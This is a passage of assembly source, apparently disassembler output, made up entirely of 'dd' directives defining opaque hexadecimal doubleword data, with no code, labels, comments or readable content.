		dd 6697054Ah, 0A4839A37h, 137794A4h, 0D8F2D22Ah, 8A01F79h
		dd 0C179809Bh, 0FC41CD4Eh, 56631BF8h, 97EB9421h, 8E83D1E2h
		dd 749A00FCh, 5C0323CBh, 9083E872h, 62E85A1Eh, 97CED0Ch
		dd 2C3B0D26h, 964C4580h, 845097h, 0D6832D9Bh, 0A9237507h
		dd 0FBA7B501h, 3671F90Fh, 46703081h, 0D87EC8F3h, 90C27351h
		dd 0C0E678ADh, 50FF4998h, 322C89h, 2EC75503h, 6E189E36h
		dd 9196CA01h, 2D5C9009h, 0F852980h, 6F7A4B5h, 0F865D628h
		dd 0B6007F74h, 1FF04CE2h, 9A18F9Eh, 231256E4h, 0B46AC4E0h
		dd 0CFE32100h, 0ECAD4154h, 0CE661E2Eh, 2AE847FAh, 73618CF6h
		dd 4900FC72h, 0E22C064Ah, 249462A7h, 4A3658h, 5390203Ch
		dd 8D01AE66h, 83BDC659h, 87CC031Dh, 0EE100028h,	0B2168645h
		dd 640A333Bh, 0C44F0D2Eh, 0B099F582h, 0FE000FF0h, 5C79807Eh
		dd 33611C7Dh, 0FABE6681h, 8AAE70h, 29444759h, 0B7AF029Ch
		dd 4683C901h, 0BE740339h, 305070h, 0C8592C57h, 0D93AB364h
		dd 8067343Ah, 0B645D546h, 7DFC5F3Dh, 0B380150h,	65F28A78h
		dd 0DC1881C8h, 0DB7A375h, 0E2A0D2ECh, 0EFB000EAh, 0A17DEE71h
		dd 600177BBh, 0C2511989h, 40849FB4h, 0AEAB47h, 0EE7D451Bh
		dd 40E50711h, 10883920h, 0E4F65A43h, 30C3E330h,	1F89577Bh
		dd 1E1FE966h, 0A208C1AEh, 8AC24387h, 0AEBDF149h, 76B2DE00h
		dd 0C1D88373h, 7F3AC520h, 4D188768h, 0A5204A2Ah, 180E5430h
		dd 60BAA7DAh, 0AE3B7120h, 0CCAB00D6h, 0F19297CFh, 3BC40C62h
		dd 5B18C14Eh, 6A9DA701h, 60190555h, 373A6E80h, 38C58120h
		dd 6E2B1F00h, 0F1C4060Bh, 0E0CB0064h, 7769B6F9h, 37000841h
		dd 318B6A4Bh, 0D87FDBh,	1CBBDA18h, 0D6228E99h, 2789B400h
		dd 5CB3967Dh, 6F880308h
		dd 0DDACA720h, 0D462AAB1h, 0E3006426h, 33A3CABDh, 0FCD7401Ah
		dd 20F71EEEh, 6D2D40B9h, 2E15D2FFh, 653AFE00h, 0A0F87129h
		dd 4D52C036h, 0DD9461CAh, 1282F024h, 8F9D8038h,	85A57404h
		dd 8D2C0056h, 58415F45h, 9407E5F8h, 989E10C3h, 644F3080h
		dd 49DCF9C1h, 0E2F500A9h, 18944CFh, 0F301C39Ah,	3033FD02h
		dd 29BC6A8Dh, 6022A822h, 87073C88h, 428412C0h, 82951111h
		dd 5105DB18h, 0C040DE92h, 884D8885h, 8B4C2B00h,	0C384F3A5h
		dd 183700FFh, 5646CCD4h, 0A2E0EF96h, 918A9E00h,	143BEEABh
		dd 0CCF10006h, 428246C6h, 39005234h, 4DAFDE70h,	72E49A23h
		dd 0DC92E74h, 0AE00025h, 3D78FBE6h, 4469F800h, 592F7595h
		dd 998B0182h, 0FDC77E6Fh, 0C6DEF82Ah, 2D7BBF0Eh, 8AEA607Ah
		dd 3FE25063h, 830041CDh, 0C1915FF1h, 0D217521Ch, 50009DFh
		dd 0C8854B31h, 897800ABh, 7BA04324h, 140904D2h,	80E69C3Ah
		dd 2136021Bh, 5634031Ch, 0C8066C62h, 71267BD9h,	0BD688026h
		dd 3BA7142Eh, 0B0B80095h, 903C7E42h, 17008CB7h,	349F6FBFh
		dd 0B236D9h, 0E3DF9528h, 4A3272CAh, 0C3F44250h,	488B222Eh
		dd 6EBAFD00h, 63741Dh, 4ECC3010h, 16018CFFh, 50F2F700h
		dd 1E33FA14h, 48EA2Fh, 0FD5837B8h, 0C816A3D5h, 5BD8FE00h
		dd 2FAF910Fh, 1AE718F8h, 0B33B30E3h, 87BB7700h,	188F4789h
		dd 0C63000F9h, 0A64D2CD8h, 0A23C73CCh, 0F5BC00A0h, 0ADDD3D6Ah
		dd 4E60031h, 6001E7E3h,	0EE1D559Eh, 1085C639h, 6EC0262Ch
		dd 7B040DBAh, 0CBB84C97h, 62684B00h, 1B766303h,	0F3809B5Ah
		dd 31F190h, 1481C564h, 2917A8FBh, 0D90F3Dh, 0DBBD4FA2h
		dd 84A77Bh, 0CF6FA487h,	30FD94D6h, 5759C701h, 0FC9173F5h
		dd 662BF0h, 0BE65AC1Bh,	0D60EAD31h, 0F15BC900h,	0A821EFDDh
		dd 407FECh, 0F03F88C7h,	19C6C2FDh, 3B8D133Dh, 43490046h
		dd 0CB600224h, 0DE7C1F82h, 35880026h, 0A1CA6DB1h, 0BEB22C0Eh
		dd 0C2D400D0h, 0E851AFh, 0B9DE226h, 86131A23h, 487EB22Ch
		dd 7308EF00h, 20DD41h, 2B2227F5h, 6B6C1923h, 6FD4C800h
		dd 473E9924h, 0F0A600BAh, 70FB1695h, 23003379h,	0D0F83E3h
		dd 7E9A97h, 3A7A5BC5h, 4B625112h, 2CB38200h, 7CD115EFh
		dd 75F7BEEh, 7D705CB4h,	0A6FC908Ch, 0A70090A1h,	0F5130264h
		dd 34FC1ACh, 0E3425F33h, 0D9B014A4h, 9E00213Ch,	0B8DFC7FEh
		dd 3C80E549h, 1903F546h, 8F2229D8h, 2074C9C0h, 1239E83Ch
		dd 4F003823h, 0B9B3A96Ch, 44BC00CAh, 0ABF6A19Bh, 14007E70h
		dd 0F20B3BD6h, 4C8EBBh,	4E24BF94h, 885F731Ah, 8E4DD01h
		dd 1CD9E63Fh, 0D751A0D7h, 4E23003Eh, 0DC1F2889h, 877D7F2Dh
		dd 56265C00h, 7BA12931h, 0FF8F07DDh, 104CE0B7h,	0BF9B6515h
		dd 82ABE00h, 28F57D41h,	936D0075h, 559624C8h, 2F00ABA0h
		dd 46A1323Ah, 9E267D8h,	65F1B536h, 48EF805Dh, 25D080A9h
		dd 0CE5ED725h, 0C4D67C00h, 921E0Dh, 0F6F4758Bh,	78A518A7h
		dd 15BF7F00h, 0AAD6B5DFh, 26610008h, 14526A47h,	6624CCDAh
		dd 64039DC0h, 91948137h, 98E8E6A3h, 0E1B0075h, 8045361Ch
		dd 10001666h, 0DB2F3A5Fh, 77D4FC46h, 0C26801F1h, 6AEC9742h
		dd 5BD5C839h, 9A264402h, 802347C8h, 29BE7A94h, 7C612E2h
		dd 0CBC800C5h, 2CEF84F8h, 0E75DB806h, 18C7D6h, 358C850Eh
		dd 0EDA8BAE4h, 3AA63300h, 0EFDC849Fh, 1C0700AEh, 5CC5A274h
		dd 0AA7CD13Eh, 0BDBCE800h, 4960EEADh, 0A00E00C3h, 4A37AC5Bh
		dd 7700CD4Eh, 80222A21h, 8F50DEh, 0C9EC2E81h, 67E8C6E6h
		dd 82005373h, 0B695FB39h, 0A61EC5h, 7D07930Eh, 0A233BB0Ch
		dd 0DEA05300h, 12ECB34Dh, 0B01Ah, 5321C99h, 8969C503h
		dd 573E1801h, 0B7382C44h, 0A991E8h, 0A7EAE071h,	20266E34h
		dd 0B2FC5E7Ch, 46006176h, 17C710F4h, 62CB0Ch, 31366684h
		dd 22698B76h, 2CCA20C5h, 6D88EA00h, 265F7106h, 2422E04Dh
		dd 12410100h, 0CCDC286Ch, 350038B3h, 0B7F7642Eh, 7177ADECh
		dd 813B0062h, 9D27434Eh, 2F00683Fh, 0A7ED4CFFh,	4FBB7Ch
		dd 0B4B5A495h, 4AF932DCh, 1F31A300h, 0B8E4D681h, 157E34h
		dd 7DC0EA16h, 82CC288Dh, 35DA022Ch, 207A9E0Eh, 0D09B3266h
		dd 0C3BB00E1h, 0A7E585B2h, 2800CCE8h, 75F36F4Eh, 758A2CF7h
		dd 0E9520094h, 130311DAh, 0B20238FCh, 507860A5h, 0A0884042h
		dd 9B7C034Eh, 1DE11CFBh, 61DA30EFh, 0B6008091h,	0A67F65FAh
		dd 5C139Bh, 0A32491Ah, 4D3DB7Dh, 0C3F2151Dh, 9FEE7440h
		dd 10E95795h, 3BE81E25h, 79E08040h, 6591EC1Dh, 0CEE600CDh
		dd 598B0EC6h, 0F009EFCh, 36331190h, 0E14A78Eh, 422BC3ADh
		dd 0F91CDAE0h, 2F042580h, 44E96586h, 3B47DC80h,	5C5B1273h
		dd 0DF6000FBh, 4A293579h, 457FB500h, 0DC5AA3A1h, 63B10971h
		dd 3A80066Eh, 7CFB82AFh, 1FC15100h, 23ECFC80h, 3B5CF696h
		dd 0FF8954E9h, 8A00C657h, 0D1804C58h, 10C41837h, 13B11D30h
		dd 0E82300B7h, 4FA020B9h, 0B005CE15h, 46B35CF9h, 0F0E9A401h
		dd 7BCC2B4Bh, 0D8B2C0C0h, 6DA75F61h, 47A39100h,	81B90C57h
		dd 0C31A00F4h, 0E08DA890h, 0FCFC7218h, 92F56800h, 6726B312h
		dd 9A6A0041h, 0D5A7A438h, 49010671h, 938D1746h,	0DCF4C905h
		dd 9A720128h, 92F46632h, 0DBB5CC0Dh, 6513B013h,	6C8E8800h
		dd 0BDCAF7h, 0C2A7A522h, 97614C08h, 98C85E01h, 7F150327h
		dd 8C8C34h, 473B28AAh, 84229DA2h, 81A75D3Bh, 0B48297BCh
		dd 6860D5FEh, 76F80127h, 17E64F7Dh, 817B6019h, 0CF963Fh
		dd 91BAB260h, 2138EBh, 0A7F7017Ah, 88A4166Ch, 47700492h
		dd 0C878E100h, 0A161D011h, 6E6000A7h, 0DDEA6B3Ch, 0B2FE9F14h
		dd 0FEC38100h, 0EB50E411h, 51130077h, 0E602F3Bh, 0B377021Fh
		dd 426839h, 0FE3F23A3h,	654EBBh, 2EA66713h, 2DABD35Ah
		dd 25FD8A00h, 0FE53DA6Dh, 9B580189h, 9C75CDC8h,	5AFBCF54h
		dd 0E7D6CED0h, 48D94312h, 42F57000h, 96A4A07h, 23FF10D8h
		dd 0F672C20h, 0E77436Dh, 8C377103h, 0A016D7A2h,	13080698h
		dd 13353Eh, 3B6CAE3Ch, 0A201446Eh, 1C2DDE16h, 87D1FE60h
		dd 0CA80FB47h, 3DE2EB7Eh, 94008C57h, 7EACDE8h, 0AD1C953Eh
		dd 3CC2A4F1h, 0C0171CFDh, 0EE484ED4h, 9ED20F39h, 0DDC03D58h
		dd 0B5CB01FBh, 0F8804F02h, 49B622AEh, 4AF4C948h, 2A0B8A5h
		dd 0DBB4D60Dh, 0CE600A25h, 980F9F71h, 61CDA195h, 0C46AFA4h
		dd 9D47E4h, 0DDEF293Bh,	1539CBBh, 1F21D502h, 4827AA4Ah
		dd 0C078C55Ch, 22BA6011h, 62009695h, 88AD8C8Bh,	142B89h
		dd 0C8FCA78Dh, 4B079209h, 82420600h, 0BCC9187Bh, 8859000Fh
		dd 480123D6h, 754C99F5h, 0B44B26DDh, 0A0DFBC0Bh, 0B33CBD2Ch
		dd 0E96C0062h, 82E7C6E4h, 3D0DCD0Fh, 0CDAA586h,	4C103D40h
		dd 0ED631DD5h, 5CBD7BAh, 88FD0D30h, 2F00482Ch, 462D53C0h
		dd 395BFBEEh, 0DC80D191h, 0CB25663Ch, 563832Eh,	0F3842338h
		dd 7B0A789h, 16362A7h, 12D00A6Fh, 817FD611h, 0F1CC2524h
		dd 9AFC3F54h, 77190083h, 614F80C5h, 0F4794776h,	541B3303h
		dd 88D5E293h, 306B27h, 397F623h, 0D489EE05h, 0D069A300h
		dd 0F8227B02h, 0D67500DDh, 1D1CC20Eh, 2301DC59h, 8044290Dh
		dd 0BDF0FAC6h, 8F3103CAh, 0FFB884E2h, 0F880B5CAh, 0F2E6DB07h
		dd 6F0093FEh, 0CCF5E7D9h, 3CB91Fh, 82E54AEBh, 39AA53BAh
		dd 9770EE00h, 55FA0AF2h, 0EF2504F7h, 0C0DD1F72h, 944A48D6h
		dd 0F0CBA900h, 6C9FD57Ch
		dd 3980302Eh, 94B98349h, 378BB605h, 70C006D1h, 1DD4AF2Ah
		dd 0B83BE8B1h, 8FB42900h, 0B70B707Ch, 4E42871Dh, 0E268D0B0h
		dd 37502423h, 36803AE0h, 93E6DB1h, 5D009614h, 40FAD6D0h
		dd 0D1456Fh, 0E6F317C2h, 0C83AECB1h, 4F070B00h,	0CAB8DD33h
		dd 5F120075h, 48CDB398h, 5903CBD9h, 45B21F37h, 0E598006Eh
		dd 3821D66h, 5D2E43FDh,	7A16B8BEh, 0EF18C01h, 0D9F56DE3h
		dd 26A60B30h, 2EB47738h, 0C7F00040h, 56AA576Bh,	58B4402Ch
		dd 8D726A00h, 7AE7B77h,	296B1288h, 48C6319Ah, 0FA988062h
		dd 441D0D7h, 6DF700E2h,	0B28578FCh, 775C9F86h, 805A0122h
		dd 199832F2h, 20F67C20h, 270E7EBFh, 428382AEh, 87D04047h
		dd 0EDE05184h, 3135A5h,	0D8449D7Bh, 0E5AA10B3h,	0D77BDE7Dh
		dd 0D3D9D400h, 75F5E252h, 0A4E44932h, 2D8F310h,	0F0213780h
		dd 75958054h, 0E60BF6D3h, 0FAC3965h, 16845C80h,	503C3B11h
		dd 6B0BBBE0h, 845A2140h, 7CC00823h, 0C7278Ah, 2FEF111Bh
		dd 7AD8FEEBh, 37D04400h, 0EC213C30h, 45390038h,	0DE652295h
		dd 0BE1D840Dh, 0A040C3D5h, 0BD6A705Ch, 52F40323h, 4D31BFDAh
		dd 0FB814AC0h, 292D4B00h, 1174E4A2h, 1C240083h,	85B47F88h
		dd 263F8F2Ch, 652D0104h, 3CB5C663h, 16DDEF8h, 40AB2B98h
		dd 0B21C81h, 8BD783h, 112A16E4h, 55505429h, 0C8A88F00h
		dd 0A002DE99h, 0B073EAB4h, 9439A087h, 232E0EDDh, 7480BF43h
		dd 0DBA1314Ah, 93F3111Ch, 0C94C09h, 85676B84h, 4D6C00E3h
		dd 8A535C91h, 8B2A263Eh, 0DA3BB41Fh, 30D40025h,	3B48974Dh
		dd 40EB00B1h, 8E6D8167h, 41736F8h, 1042CB1Ah, 404E619Eh
		dd 7A349A2Ch, 1C1FB82Eh, 0FAAEDEh, 918F27ABh, 567D3753h
		dd 0F57870F5h, 14F87E00h, 80E01981h, 25E70073h,	0CE38594Dh
		dd 153DBF26h, 0DB828097h, 0E53FAEFEh, 4208B047h, 1EAEC7A6h
		dd 5266C830h, 84CE0718h, 0F0906220h, 70C79294h,	85B6D100h
		dd 0F2C0107Dh, 98AF71F0h, 6831129Ch, 3C520028h,	7D588EAAh
		dd 3C40025Ch, 0CB8480CFh, 780CFB96h, 5DE4F9B8h,	88C70770h
		dd 0F081121Ch, 0B503C287h, 0A3B65100h, 84B96333h, 0DED60F1Bh
		dd 30605924h, 0A127E688h, 0CA7F7A0Fh, 0DB342045h, 2BB50F5h
		dd 0F88542Bh, 0FC80AC42h, 68605A87h, 0D21B000h,	51840210h
		dd 973B01F3h, 146B426Ah, 0E62AF4D8h, 720139FAh,	0D67AAF78h
		dd 98DCA599h, 55FE00B1h, 0FF0C8E0h, 0E840301Ch,	0A9F4001Fh
		dd 3172CFE3h, 0F300ED64h, 5C7F7097h, 3B146559h,	577DFB5h
		dd 5393C0CAh, 8A248042h, 0A90074D3h, 861D9CB3h,	3D4EB88Bh
		dd 0E4849697h, 8C0B5F51h, 130098D0h, 0A8C34842h, 0F04D1ADDh
		dd 0DC47079Fh, 30D2FEFCh, 644A0FAFh, 0C5EE51Ch,	414B3AC0h
		dd 9BEA55h, 0C73985EDh,	0FD5A5FA3h, 273E5201h, 9B16CF4h
		dd 0B7C003C9h, 18A900BEh, 11DE07EEh, 9200C1D3h,	605D6AE1h
		dd 7AABB57h, 33B75362h,	28EF7625h, 0AF8F8400h, 346D7028h
		dd 0D7A7005Ah, 4E7479Eh, 0D400A1ECh, 8102FF8Ch,	39A3EB99h
		dd 0CB023452h, 46A4646Bh, 82001C7Ah, 9FDEC463h,	7CEDFCEBh
		dd 3D7DFE8Eh, 0D000C9A9h, 25B59D49h, 0A80B2F26h, 0D8C28910h
		dd 0C5753EB5h, 0D4EBB381h, 74A071DFh, 2009FC0h,	0B99C7B30h
		dd 3D93D68Ah, 0CA00BC89h, 98DD8234h, 301C920Ah,	0A400C43Bh
		dd 22B5F43Ch, 0B98A185Fh, 377681A1h, 0EBB24103h, 0C119A918h
		dd 8F04520h, 9FA22BC8h,	51101018h, 0F0C1E0A8h, 0DE20831Eh
		dd 787C00FAh, 0CAB9FE02h, 13F60086h, 90A168C4h,	7F0022BBh
		dd 0FD72A8EBh, 3F314432h, 550A1808h, 42813A3h, 84F6196Dh
		dd 67400968h, 60CF8CDFh, 18DE7F1Eh, 31420E2Fh, 0A12416C5h
		dd 0CB07AA4Eh, 0FD401389h, 6E2A8C44h, 0C200B0F9h, 0B67A4C02h
		dd 5BFAE400h, 0A1CD0106h, 69520018h, 0F86C8C0Eh, 0D003F67Ch
		dd 0A8C19D0Ah, 39A6A824h, 71340976h, 0F680055Ah, 0D2F01B17h
		dd 75618D00h, 8CC4E020h, 18E40023h, 0B5410EBBh,	0A13B4FFAh
		dd 5F670CDDh, 3A6A940h,	0DFB7B898h, 96AF83F8h, 0AD5908E8h
		dd 0F37B777Ch, 0C387300h, 4E0182B1h, 3A2A00BFh,	46559107h
		dd 311BF89Bh, 0A8D92E5Dh, 7B49F5D9h, 41120A60h,	18A4E3A8h
		dd 1F7212Ch, 3200F27Eh,	23140E10h, 1800C54h, 5CC1CA55h
		dd 43C9EDD6h, 82B097B4h, 4F0364BBh, 0A915B6F1h,	0D4B90A47h
		dd 40646541h, 0BD85B8C6h, 0EA22E846h, 80B1063Dh, 5E3B0F48h
		dd 32B2D10h, 0C0AE531h,	0D6ABA51Ch, 76247000h, 633DEBAh
		dd 61A90017h, 0D9BE4FA8h, 960CF50Ah, 0F8F377D8h, 306A0086h
		dd 2ABA8151h, 0C0E45A7Dh, 4D00DE7Dh, 0DF6D4CAFh, 7086FA2h
		dd 52164BBBh, 10FD8715h, 9A9F4193h, 0A09E3200h,	8965FC1Fh
		dd 667309h, 0EDF2E9E1h,	25766ACFh, 0D29EF907h, 6490D03Bh
		dd 1C2FE89Ah, 0C0CD3D78h, 0B1FE6ADBh, 0AE006D96h, 90791DCFh
		dd 30F7EDh, 0F102C323h,	0CD349549h, 8644EB24h, 0D45EFE00h
		dd 28BDE4h, 0F96C374h, 20B102CBh, 429F5200h, 3E32C21Ah
		dd 804A01C0h, 9B061943h, 0FFDCFC29h, 0D7CFA70Fh, 16646E53h
		dd 6DD8C05h, 0E35878C0h, 905D1B24h, 8C0FCFDh, 0F6789D1Dh
		dd 0B765F900h, 7DD3F321h, 7B5030A2h, 6EDF7028h,	0F23B3404h
		dd 6304FED8h, 0BD810307h, 722CA03Eh, 38CA7E7Bh,	68802D21h
		dd 107F8AA3h, 8100C3ADh, 43D41727h, 0CD82A1h, 0EBE73469h
		dd 56F2A6F7h, 802A5E3Fh, 5F21A3BDh, 0E74CC10h, 0F12BB6EEh
		dd 20E9DBE0h, 0B41DC879h, 530090A0h, 9B71831Ah,	6FF30061h
		dd 0DF09FF24h, 0EB00FC4Dh, 6B5E7CC2h, 8587FAh, 0CE7D4F90h
		dd 48DC63BCh, 7435DA00h, 31760670h, 9EA8008Eh, 5CCE6ACAh
		dd 1400C1F0h, 0EB76B34h, 4B3D33Ch, 96D7E508h, 0E06BC7BBh
		dd 0E2F421C8h, 2FEDEF00h, 0D86B7385h, 9BA5003Ah, 7D5F74D7h
		dd 0AF00D96Eh, 0EB91D5F2h, 1FB7BCh, 6D3C369Eh, 8BC2B448h
		dd 2FCE8D00h, 6B9FED94h, 79A50023h, 0F7347F7Ch,	1FE4D7DAh
		dd 69C18000h, 7E18CA0h,	0FD39018Eh, 649C267Fh, 752370EEh
		dd 760002B8h, 4956820Eh, 3DE31183h, 2907A7CEh, 7BB92E8h
		dd 7F8D7018h, 0C8002DF6h, 679531A5h, 58BEEAh, 29CC79ABh
		dd 0F544969Dh, 0F60055FCh, 0D883BF18h, 0AD275Dh, 1D9728E6h
		dd 86A62EE1h, 84401F00h, 35B68CD0h, 8978A2h, 4EC93FA7h
		dd 55671CC0h, 8A0344FEh, 547853BCh, 6F77A8CFh, 0FD7A0385h
		dd 0FC36C595h, 21B87F83h, 0F500AFE2h, 8B88039Dh, 0AA3E53h
		dd 0B4EEB0FEh, 16D62FC7h, 845EBF1Eh, 0D9F0A1C0h, 2830057Dh
		dd 0D0A758h, 1180A867h,	709C271h, 47F6EE00h, 8CB26615h
		dd 0DB980E4Dh, 12A08132h, 76FEFA7Fh, 9C9DE503h,	0F061C9F1h
		dd 3B4152D5h, 2D008D79h, 2CE22B87h, 0A7039BD6h,	16F1B420h
		dd 0D71288FAh, 0E6F2D5h, 2FAAF24Fh, 33D174AFh, 6AD89400h
		dd 53B472ACh, 0EB0802ABh, 9CBF88ADh, 0ED384840h, 3E5BE000h
		dd 0DA3B278Ah, 0C0EEF6BEh, 4C3DDEC0h, 82009D23h, 63C467AEh
		dd 9CF7A5h, 0E274980Ah,	296AE325h, 0C7ABDF00h, 0AFEFCA0Ch
		dd 880700ADh, 8622B9E5h, 8700CFC4h, 5FE9E7CDh, 59A471h
		dd 0D1CE992Dh, 8C72C6DCh, 0E1B3D41Ch, 4378F08Eh, 0B01D19B5h
		dd 1C4B3Bh, 0E9FBD5F8h,	0AB2A4714h, 600E3Bh, 0E6D4E1A1h
		dd 98BD1577h, 0B0642918h, 40411F88h, 0C7F280DFh, 0DC0004ECh
		dd 0ACD7D3A5h, 83F738h,	22610A87h, 0C627A34Ch, 8C8DE724h
		dd 58673707h, 69D7C03Fh
		dd 4898AF9Ch, 0C90048FCh, 2F0C5CB1h, 45005EE8h,	6A7B6553h
		dd 0A0736BBDh, 3BA0BAE4h, 340F132Ah, 674F5D76h,	10304D60h
		dd 0F5585856h, 3B8100E5h, 477CC45h, 0F7BD04A1h,	80A666D6h
		dd 0D5748BA9h, 270E547Dh, 2092A077h, 63214D9Dh,	0D4E90053h
		dd 0FB5A75A4h, 0E000773h, 87C618BCh, 13DC89B4h,	15E69EFh
		dd 0B57478F3h, 0EE66F027h, 834B9F00h, 0DB3A79BBh, 0E01B00A3h
		dd 7C47ABA1h, 961318AEh, 0C440705Ch, 9E90B3E8h,	31380EF9h
		dd 30400726h, 0BD61F2AEh, 11FD7500h, 0D9AB937Eh, 0D32700FAh
		dd 0F36EF959h, 90019E1h, 0D892A4BAh, 3D96AE5h, 4BC1496Fh
		dd 1AC074C3h, 5A5E2FF7h, 930045A8h, 3198D71Bh, 15FAC2DAh
		dd 0F124CF00h, 63B60AA6h, 3AFB803h, 0BF5A543Dh,	0B9C0B772h
		dd 0A4000B3Bh, 28AC9BBAh, 8C74B4h, 7F264EF4h, 130C5335h
		dd 0F5DCD00h, 0A087B1A9h, 4304006Bh, 0F694B328h, 99007A89h
		dd 93067120h, 0B07E36h,	0DB2F5845h, 0CED9ADE6h,	2A07C61Fh
		dd 83B807Dh, 74D5332Bh,	0B05D5C0Ch, 505E0073h, 0B2320655h
		dd 21C0D21Eh, 51CF7A8Ch, 5DED5CC7h, 0B38E7109h,	1F7C4C00h
		dd 7A0088D9h, 0C5F52029h, 48A5AD6Fh, 0A80E013h,	0A8EA771Ch
		dd 59747C00h, 2D2FD55Ah, 540400D7h, 35C522A5h, 4B00FDEDh
		dd 96F6252Ah, 0A6F801h,	0D4DC1B8Bh, 36EFAADBh, 1CCD9A00h
		dd 1E6D70B0h, 6F0C00BBh, 0C1506873h, 0F6E95A27h, 0F3DE780h
		dd 0C6006BF4h, 0BBDFF514h, 76B3CCh, 0C45BC207h,	6D525F8Dh
		dd 890C3700h, 24E7DBB6h, 0BDAF3B65h, 87D12500h,	0D6497D6Ch
		dd 0BC98E3Bh, 21734A48h, 2C37DE4Ch, 1D30E3ECh, 80EB921Bh
		dd 8A0B2DA8h, 417D9616h, 87074638h, 0BB625069h,	0D45549B0h
		dd 0EAE8030Ch, 57B154FDh, 75E036B8h, 0CC3CD4Ch,	61AC3A8Dh
		dd 0FF7529h, 889486BAh,	0FE63133Fh, 995A6A3Dh, 62102782h
		dd 0F035FD1h, 7D2D1BC0h, 0E28FB5Ch, 8158D045h, 8E3059Ah
		dd 7502034h, 59FFA967h,	6123C184h, 0E5188024h, 0B8888AE0h
		dd 44990039h, 470F69D8h, 0AE30EC02h, 7615A6B3h,	1BC500C3h
		dd 0D39BECEh, 0DF604888h, 0A7BD4741h, 0C2463E60h, 19D82B18h
		dd 2100E25Fh, 4F0CB77Ch, 0F2A14DA2h, 29D901FFh,	0B8EB8784h
		dd 0A9B7F0B4h, 0DEFE3300h, 571DEFF8h, 9A9E032Eh, 1FD40AE2h
		dd 93879CD8h, 0ABC5FA00h, 0C7A12180h, 14BC72FEh, 9C9F9DF0h
		dd 0A3A4B00h, 5ABDDABAh, 0E1E35C00h, 0E0BF8405h, 3BFD00F2h
		dd 0A168F3AFh, 0EC00118Dh, 74F93D9Bh, 0F0A4D688h, 0A6C53CA2h
		dd 64121400h, 36FE80CCh, 61016900h, 50E50B41h, 0A216115Fh
		dd 123E3EBDh, 91012E20h, 453DF9A7h, 21B7089Ah, 133A9B80h
		dd 8EC3F812h, 0FFC48EF0h, 9D21ACh, 284CDE11h, 0F12C0473h
		dd 2A787F60h, 0D8016854h, 9D187969h, 3B070486h,	61453324h
		dd 9E005A6Bh, 23003F4Ah, 7946A622h, 418DBAh, 96D83A8Bh
		dd 98A0DC54h, 90623000h, 0B7EDEA40h, 54947Ah, 14FD12A8h
		dd 3F0771E0h, 39C887B3h, 5E210246h, 21860047h, 7A5D69C2h
		dd 8E5EEB06h, 1CA127E0h, 806C3288h, 0FBB33A8Ah,	0ACA08B6Bh
		dd 0C001D10Ah, 904F0804h, 68477D03h, 0EA92A9A0h, 60C07DD3h
		dd 2D572002h, 8A05F965h, 8F19315Ah, 35A1EB00h, 793BAFAh
		dd 4B9EA5B5h, 7534A00Fh, 0D6007987h, 1DDFAEE2h,	7959D5C1h
		dd 52C00021h, 0C2BF0691h, 7015387h, 2EB68F4Bh, 0E89E3B65h
		dd 0BD86806Bh, 80402271h, 1346F407h, 0E610AC95h, 7D23A3h
		dd 0A997C4CCh, 3DC322D7h, 0DDDFA700h, 9508AD1Fh, 0E30B00F6h
		dd 35349CC1h, 0B1752B70h, 0A4330603h, 0FF13E00Fh, 0A7CC8130h
		dd 3DB5FEDAh, 6887C93Bh, 60A308A2h, 6456D792h, 70725A00h
		dd 3A875385h, 9E160C36h, 221466B3h, 5C5B800h, 6CE3B575h
		dd 0AD1E000Ah, 720BB14Eh, 2800CE67h, 0CFDC9CA8h, 850D6Dh
		dd 0DFB076A5h, 99E08D06h, 80E63D30h, 26CF2E24h,	2FAB2Fh
		dd 0E84E0785h, 0EC007497h, 78A79FDAh, 0CB6931h,	6150A34Ah
		dd 601A731Bh, 0BFCC9003h, 755C5B9h, 0AA9CD962h,	94A180BEh
		dd 0DB24227Bh, 33D111Fh, 0C0F6F4EEh, 8A83A37h, 55B85CBFh
		dd 26E8A580h, 0B43ED261h, 228A3600h, 6584D64Bh,	4E86Ch
		dd 71CBCDD0h, 0F9F03077h, 28446130h, 0C6CFADh, 862ABF0Ah
		dd 0E7028C40h, 0A300017Bh, 98668A58h, 9D6BB7h, 0F5777B72h
		dd 7F40542Bh, 0A5E0E61Dh, 3AC2C447h, 0DB533D70h, 0D872006Eh
		dd 36B3ADA8h, 32018728h, 71D64625h, 0C28FD5E7h,	98805C19h
		dd 729E0E83h, 43BDF500h, 3AB052A8h, 46B800DDh, 62036450h
		dd 0D600C6A4h, 9FFBF613h, 0F8CC718Eh, 4F350076h, 4C6C5FA3h
		dd 0E4007BF3h, 53C2C717h, 4DAF55h, 0B0CD7F87h, 0B5C94504h
		dd 73C291C3h, 49F907B8h, 409EBE42h, 7E083D33h, 0DF0F0E7Bh
		dd 0A0CD533Eh, 0B1DB3762h, 2A7A007Fh, 1BA0E807h, 5D58961Fh
		dd 0E59A0078h, 0DC5016F7h, 3B2A0035h, 21A687DEh, 0D3B90A7h
		dd 0D55200D7h, 0CCC737BFh, 0E8765Eh, 7F502C4Dh,	9C76783Eh
		dd 0FBD51F00h, 0BA5D6B3Fh, 0DD890022h, 0B63BDBD1h, 617E7254h
		dd 91B39703h, 0C0E06C39h, 7C9F8E12h, 98DE3C1Fh,	31057B80h
		dd 0C0B2D7C4h, 0CDBFF300h, 943E4B7Eh, 621A00F1h, 0A7E798E4h
		dd 0AA0029C5h, 11F7BCAFh, 0D396C3h, 0E06FDE1Ah,	0DBCC9D03h
		dd 0DC5E9B00h, 0CFF33DE5h, 6157129h, 627198AEh,	4F0C918Fh
		dd 38C8F793h, 98F8CF63h, 0A037D880h, 1400C5CDh,	0A3915844h
		dd 7D2A5B0Dh, 967E00F5h, 26655251h, 48C371A5h, 0D0FDC7EBh
		dd 0F0B141FFh, 65F86Dh,	0A211C6C3h, 0BF20637h, 0FE4C2800h
		dd 0EB5B3F18h, 19A7E20h, 0B0E6E24Fh, 0F4988E9Eh, 0AE002945h
		dd 0F5D6DE62h, 3B133BBAh, 5307AF19h, 216D88A6h,	8C063A44h
		dd 20393808h, 491200F6h, 0B991CF64h, 2C076226h,	41CD2F6Dh
		dd 5331F220h, 582B000Ch, 1530C35Ah, 0AE3F61DEh,	193C7CDCh
		dd 0F928155Dh, 53031338h, 38FD010Ah, 60406144h,	0DC1753AAh
		dd 0F10BC60h, 0F5AA3DBh, 0B22DD880h, 4463B920h,	130B8B05h
		dd 77684301h, 605AF580h, 0BA00F379h, 0D5B44440h, 3FDCEDAh
		dd 0B682E76Eh, 0A8608BD0h, 0C650F69h, 6EB73A04h, 40006BC0h
